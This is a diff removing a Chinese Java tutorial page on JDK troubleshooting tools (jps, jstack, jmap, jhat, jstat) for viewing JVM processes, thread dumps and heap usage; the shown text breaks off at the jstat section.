+++ /dev/null @@ -1,502 +0,0 @@ ---- -title: Java问题诊断和排查工具(查看JVM参数、内存使用情况及分析) -shortTitle: Java问题诊断和排查工具 -category: - - Java核心 -tag: - - Java虚拟机 -description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,Java问题诊断和排查工具(查看JVM参数、内存使用情况及分析) -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机 ---- - - -## JDK 自带的工具 - -在 JDK 的 bin 目录下有很多命令行工具: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/problem-tools-547b1b2c-9fb4-4d1d-9c72-013ec210f6a5.jpg) - -我们可以看到各个工具的大小基本上都稳定在 27kb 左右,这个不是 JDK 开发团队刻意为之的,而是因为这些工具大多数是 `jdk\lib\tools.jar` 类库的一层薄包装而已,他们的主要功能代码是在 tools 类库中实现的。 - -命令行工具的好处是:当应用程序部署到生产环境后,无论是直接接触物理服务器还是远程 telnet 到服务器上都会受到限制。而借助 tools.jar 类库里面的接口,我们可以直接在应用程序中实现功能强大的监控分析功能。 - -### 常用命令: - -这里主要介绍如下几个工具: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/problem-tools-01.png) - -1、jps:查看本机 java 进程信息 - -2、jstack:打印线程的**栈**信息,制作   线程 dump 文件 - -3、jmap:打印内存映射信息,制作   堆 dump 文件 - -4、jstat:性能监控工具 - -5、jhat:内存分析工具,用于解析堆 dump 文件并以适合人阅读的方式展示出来 - -6、jconsole:简易的 JVM 可视化工具 - -7、jvisualvm:功能更强大的 JVM 可视化工具 - -8、javap:查看字节码 - -### JAVA Dump: - -JAVA Dump 就是虚拟机运行时的快照,将虚拟机运行时的状态和信息保存到文件中,包括: - -线程 dump:包含所有线程的运行状态,纯文本格式 - -堆 dump:包含所有堆对象的状态,二进制格式 - -## 1、jps - -显示当前所有 java 进程 pid 的命令,我们可以通过这个命令来查看到底启动了几个 java 进程(因为每一个 java 程序都会独占一个 java 虚拟机实例),不过 jps 有个缺点是只能显示当前用户的进程 id,要显示其他用户的还只能用 linux 的 ps 命令。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/problem-tools-2017daf6-832a-4673-b776-ad3380e47402.png) - -执行 jps 命令,会列出所有正在运行的 java 进程,其中 jps 命令也是一个 java 程序。前面的数字就是进程的 id,这个 id 的作用非常大,后面会有相关介绍。 - -**jps -help:** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/problem-tools-031be661-e47e-44f0-9e33-34368b187662.png) - -**jps -l**  输出应用程序 main.class 的完整 package 名或者应用程序 jar 文件完整路径名 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/problem-tools-0ccc96dc-8053-4222-9824-b116f02776a4.png) - -**jps -v**  输出传递给 JVM 的参数 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/problem-tools-059a3285-4a01-4f7a-a6ed-1cc5dcbf3f18.png) - -**jps 失效** - -我们在定位问题过程会遇到这样一种情况,用 jps 查看不到进程 id,用 ps -ef | grep java 却能看到启动的 java 进程。 - -要解释这种现象,先来了解下 jps 的实现机制: - -java 程序启动后,会在目录/tmp/hsperfdata\_{userName}/下生成几个文件,文件名就是 java 进程的 pid,因此 jps 列出进程 id 就是把这个目录下的文件名列一下而已,至于系统参数,则是读取文件中的内容。 - -我们来思考下:**如果由于磁盘满了,无法创建这些文件,或者用户对这些文件没有读的权限。又或者因为某种原因这些文件或者目录被清除,出现以上这些情况,就会导致 jps 命令失效。** - -如果 jps 命令失效,而我们又要获取 pid,还可以使用以下两种方法: - -``` -1、top | grep java -2、ps -ef |grep java -``` - -## 2、jstack - -主要用于生成指定进程当前时刻的线程快照,线程快照是当前 java 虚拟机每一条线程正在执行的方法堆栈的集合,生成线程快照的主要目的是用于定位线程出现长时间停顿的原因,如线程间死锁、死循环、请求外部资源导致长时间等待。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/problem-tools-e80d0925-2dcf-4204-b46d-47312df2a673.png) - -**3、jmap** - -主要用于打印指定 java 进程的共享对象内存映射或堆内存细节。 - -**堆 Dump 是反映堆使用情况的内存镜像,其中主要包括系统信息、虚拟机属性、完整的线程 Dump、所有类和对象的状态等。一般在内存不足,GC 异常等情况下,我们会去怀疑内存泄漏,这个时候就会去打印堆 Dump。** - -jmap 的用法摘要: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/problem-tools-96a70bab-5cee-4068-8ccb-1d35124abeea.png) - -**1、`jmap pid`** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/problem-tools-38d5c9da-e433-43d2-b1bc-3f3634e05497.png) - -打印的信息分别为:共享对象的起始地址、映射大小、共享对象路径的全程。 - -**2、`jmap -heap pid`:查看堆使用情况** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/problem-tools-75acf4c8-393d-43d1-b208-04de1f0ba6bd.png) - -**3、`jmap -histo pid`:查看堆中对象数量和大小** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/problem-tools-5e42fe47-e1e6-4649-acb5-e17bd277a771.png) - -打印的信息分别是:序列号、对象的数量、这些对象的内存占用大小、这些对象所属的类的全限定名 - -如果是内部类,类名的开头会加上\*,如果加上 live 子参数的话,如 jmap -histo:live pid,这个命名会触发一次 FUll GC,只统计存活对象 - -**4、`jmap -dump:format=b,file=heapdump pid`:将内存使用的详细情况输出到文件** - -然后使用 jhat 命令查看该文件:jhat -port 4000 文件名 ,在浏览器中访问 http:localhost:4000/ - -总结: - -该命令适用的场景是程序内存不足或者 GC 频繁,这时候很可能是内存泄漏。通过用以上命令查看堆使用情况、大量对象被持续引用等情况。 - -## **4、jstat** - -主要是对 java 应用程序的资源和性能进行实时的命令行监控,包括了对 heap size 和垃圾回收状况的监控。 - -`jstat -